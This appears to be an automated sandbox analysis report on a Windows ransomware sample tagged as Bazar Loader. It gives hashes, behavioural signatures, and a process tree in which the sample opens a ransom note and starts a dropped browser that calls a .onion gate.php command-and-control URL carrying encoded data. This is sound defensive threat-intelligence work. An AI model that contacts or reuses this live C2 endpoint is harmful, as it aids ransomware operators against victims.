Analysis
-
max time kernel
192s -
max time network
160s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
12/11/2021, 09:21
General
-
Target
jaUgZXVa4Lre4nNpUGLvLJ2baxDc4ODmB0INEt2y.exe
-
Size
58KB
-
MD5
1cc5b508da9567f032ed78375bb45959
-
SHA1
c31a0e58ae70f571bf8140db8a1ab20a7f566ab5
-
SHA256
315045e506eb5e9f5fd24e4a55cda48d223ac3450037586ce6dab70afc8ddfc9
-
SHA512
cef3bdf76e94904e0d170d3d208accef9ff8e50b85403130b12914ee6b20f0e49f58aa840757c7855b656cffa4400b83cd81fc5196fea66045a5724886970d61
Malware Config
Extracted
C:\$Recycle.Bin\S-1-5-21-2955169046-2371869340-1800780948-1000\BackFiles_encoded01.txt
http://chat5sqrnzqewampznybomgn4hf2m53tybkarxk4sfaktwt7oqpkcvyd.onion/gate.php?data=rWtm070iCyddsgPzYb6%2F5sYFDOWmHktCPIVBvwDe0pfkO1viiBYlEWycNMJPj4zAyBNepZJPa001jyKIRYqO1ZAfN7HOTExUafRunSj18tWZR36Di0hpHzngbZUQ38uR%2FjtX8%2FRuMRR9yjXHQZb9k8YNVerVED9BLZFynkKbjt7DVlf9jQw9ATvbZ84y7si1lyRcoLNFSQRA53G%2BUY2Rh9QCKYDbGlF0MeNEmCX6ytPWIFicjgM9MkGAfqNWo6HyiFkkmNV0OU0LgVKyMc3NqfUiZaqJa1YDcOc3l0iFtf3jWS%2BZ9nZydzPaT7sP2vKuwll3qq9SShtH0XatAqqigP8tArjWVT9QKoFLvg3a2q3IDV6foWFkNDTzRd4CqpH16x9XuP5bXRAa80mkJNea1Ok5SIiOb14hcvUhyXaO0dvMEg23yHF5bRDDMaVW7tfTnhtIqYlkfAk28U6sabmowN8CJ4uNVWNVFoJywC3VmtTtDnDplkx%2FQ2L4b6Fdsr7XyCgH5OVDYGo%2B9GC3DP2Nq%2FtTBYmVV004YdN9nEe8hNScLEPh%2F29gU2zwdqdS8te2%2F1l2mtIXfgdV3DGuSLyS3cIZA4fuTH0UPNp0iTnIiKOfUAOmgVNfA1z2XLlFidXT3xtekZgQSWsQ%2F3C3G9P0w50nYJyxAz02Q9gzvUGLqeGIWSSnzlpTcjP%2FYcQmy4qo3C596KdEOBtGjj3ParvXhsYPHLDFFU9vF4FZhC39%2BMOdI0WGtEF6P2OBNblxuILo9C0Uto53OGlulzG1UtjY1Z9EA5aYYVcSNvttvlmx1NXkXiKJy1VYchviQr0W9N211gMAhJFCQUlO3WWwW5%2FUhvRdVrDve29iG%2FFvpUSM%2BcOdJ3Cg0FNtFnfEd5x5zdX3y14DqvdGRkoV%2FmbFWOzRtckEX%2BOBd142d8FytAiA0N2bCSuC2XBjZhz6SIYCj%2BuoyBBDk7pVTDxx%2FV2BZqCJ4spYCoLOa0lzCttuvlj7%2FojFNmupk0JMAFXzRpoEv7Xf3jwxpdNbQlQ%2Fik6FM8nclsEKdfXQZE01Vfh3o3%2BbotLDUkPh%2BxY%2BHxPEeoUIjY6NyA5FoZdnKkJC4zTOR42d68JOVJXVblpxNOBxggSbjaDuWF2F1EhbFmjNPLdFvLHc6gkL5Nx2Xn4z9TS1V%2FTokPtEA5bHFEkmY8d9w2Kb0Nv6XiKwik5HEir4WYAt1%2FaI3hgU4qRqOiVvhjaVYN%2Bj251OVZc%3D
Signatures
-
Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
-
Bazar/Team9 Loader payload 3 IoCs
-
Executes dropped EXE 2 IoCs
-
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
-
Loads dropped DLL 12 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 47 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaUgZXVa4Lre4nNpUGLvLJ2baxDc4ODmB0INEt2y.exe"C:\Users\Admin\AppData\Local\Temp\jaUgZXVa4Lre4nNpUGLvLJ2baxDc4ODmB0INEt2y.exe"1⤵
- Modifies extensions of user files
- Loads dropped DLL
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\notepad.exe"notepad.exe" C:\Users\Admin\Desktop\BackFiles_encoded01.txt2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Users\Admin\Desktop\browser\firefox.exe"C:\Users\Admin\Desktop\browser\firefox.exe" --allow-remote http://chat5sqrnzqewampznybomgn4hf2m53tybkarxk4sfaktwt7oqpkcvyd.onion/gate.php?data=rWtm070iCyddsgPzYb6%2F5sYFDOWmHktCPIVBvwDe0pfkO1viiBYlEWycNMJPj4zAyBNepZJPa001jyKIRYqO1ZAfN7HOTExUafRunSj18tWZR36Di0hpHzngbZUQ38uR%2FjtX8%2FRuMRR9yjXHQZb9k8YNVerVED9BLZFynkKbjt7DVlf9jQw9ATvbZ84y7si1lyRcoLNFSQRA53G%2BUY2Rh9QCKYDbGlF0MeNEmCX6ytPWIFicjgM9MkGAfqNWo6HyiFkkmNV0OU0LgVKyMc3NqfUiZaqJa1YDcOc3l0iFtf3jWS%2BZ9nZydzPaT7sP2vKuwll3qq9SShtH0XatAqqigP8tArjWVT9QKoFLvg3a2q3IDV6foWFkNDTzRd4CqpH16x9XuP5bXRAa80mkJNea1Ok5SIiOb14hcvUhyXaO0dvMEg23yHF5bRDDMaVW7tfTnhtIqYlkfAk28U6sabmowN8CJ4uNVWNVFoJywC3VmtTtDnDplkx%2FQ2L4b6Fdsr7XyCgH5OVDYGo%2B9GC3DP2Nq%2FtTBYmVV004YdN9nEe8hNScLEPh%2F29gU2zwdqdS8te2%2F1l2mtIXfgdV3DGuSLyS3cIZA4fuTH0UPNp0iTnIiKOfUAOmgVNfA1z2XLlFidXT3xtekZgQSWsQ%2F3C3G9P0w50nYJyxAz02Q9gzvUGLqeGIWSSnzlpTcjP%2FYcQmy4qo3C596KdEOBtGjj3ParvXhsYPHLDFFU9vF4FZhC39%2BMOdI0WGtEF6P2OBNblxuILo9C0Uto53OGlulzG1UtjY1Z9EA5aYYVcSNvttvlmx1NXkXiKJy1VYchviQr0W9N211gMAhJFCQUlO3WWwW5%2FUhvRdVrDve29iG%2FFvpUSM%2BcOdJ3Cg0FNtFnfEd5x5zdX3y14DqvdGRkoV%2FmbFWOzRtckEX%2BOBd142d8FytAiA0N2bCSuC2XBjZhz6SIYCj%2BuoyBBDk7pVTDxx%2FV2BZqCJ4spYCoLOa0lzCttuvlj7%2FojFNmupk0JMAFXzRpoEv7Xf3jwxpdNbQlQ%2Fik6FM8nclsEKdfXQZE01Vfh3o3%2BbotLDUkPh%2BxY%2BHxPEeoUIjY6NyA5FoZdnKkJC4zTOR42d68JOVJXVblpxNOBxggSbjaDuWF2F1EhbFmjNPLdFvLHc6gkL5Nx2Xn4z9TS1V%2FTokPtEA5bHFEkmY8d9w2Kb0Nv6XiKwik5HEir4WYAt1%2FaI3hgU4qRqOiVvhjaVYN%2Bj251OVZc%3D2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
-
C:\Users\Admin\Desktop\browser\firefox.exe"C:\Users\Admin\Desktop\browser\firefox.exe" --allow-remote http://chat5sqrnzqewampznybomgn4hf2m53tybkarxk4sfaktwt7oqpkcvyd.onion/gate.php?data=rWtm070iCyddsgPzYb6%2F5sYFDOWmHktCPIVBvwDe0pfkO1viiBYlEWycNMJPj4zAyBNepZJPa001jyKIRYqO1ZAfN7HOTExUafRunSj18tWZR36Di0hpHzngbZUQ38uR%2FjtX8%2FRuMRR9yjXHQZb9k8YNVerVED9BLZFynkKbjt7DVlf9jQw9ATvbZ84y7si1lyRcoLNFSQRA53G%2BUY2Rh9QCKYDbGlF0MeNEmCX6ytPWIFicjgM9MkGAfqNWo6HyiFkkmNV0OU0LgVKyMc3NqfUiZaqJa1YDcOc3l0iFtf3jWS%2BZ9nZydzPaT7sP2vKuwll3qq9SShtH0XatAqqigP8tArjWVT9QKoFLvg3a2q3IDV6foWFkNDTzRd4CqpH16x9XuP5bXRAa80mkJNea1Ok5SIiOb14hcvUhyXaO0dvMEg23yHF5bRDDMaVW7tfTnhtIqYlkfAk28U6sabmowN8CJ4uNVWNVFoJywC3VmtTtDnDplkx%2FQ2L4b6Fdsr7XyCgH5OVDYGo%2B9GC3DP2Nq%2FtTBYmVV004YdN9nEe8hNScLEPh%2F29gU2zwdqdS8te2%2F1l2mtIXfgdV3DGuSLyS3cIZA4fuTH0UPNp0iTnIiKOfUAOmgVNfA1z2XLlFidXT3xtekZgQSWsQ%2F3C3G9P0w50nYJyxAz02Q9gzvUGLqeGIWSSnzlpTcjP%2FYcQmy4qo3C596KdEOBtGjj3ParvXhsYPHLDFFU9vF4FZhC39%2BMOdI0WGtEF6P2OBNblxuILo9C0Uto53OGlulzG1UtjY1Z9EA5aYYVcSNvttvlmx1NXkXiKJy1VYchviQr0W9N211gMAhJFCQUlO3WWwW5%2FUhvRdVrDve29iG%2FFvpUSM%2BcOdJ3Cg0FNtFnfEd5x5zdX3y14DqvdGRkoV%2FmbFWOzRtckEX%2BOBd142d8FytAiA0N2bCSuC2XBjZhz6SIYCj%2BuoyBBDk7pVTDxx%2FV2BZqCJ4spYCoLOa0lzCttuvlj7%2FojFNmupk0JMAFXzRpoEv7Xf3jwxpdNbQlQ%2Fik6FM8nclsEKdfXQZE01Vfh3o3%2BbotLDUkPh%2BxY%2BHxPEeoUIjY6NyA5FoZdnKkJC4zTOR42d68JOVJXVblpxNOBxggSbjaDuWF2F1EhbFmjNPLdFvLHc6gkL5Nx2Xn4z9TS1V%2FTokPtEA5bHFEkmY8d9w2Kb0Nv6XiKwik5HEir4WYAt1%2FaI3hgU4qRqOiVvhjaVYN%2Bj251OVZc%3D1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
152KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB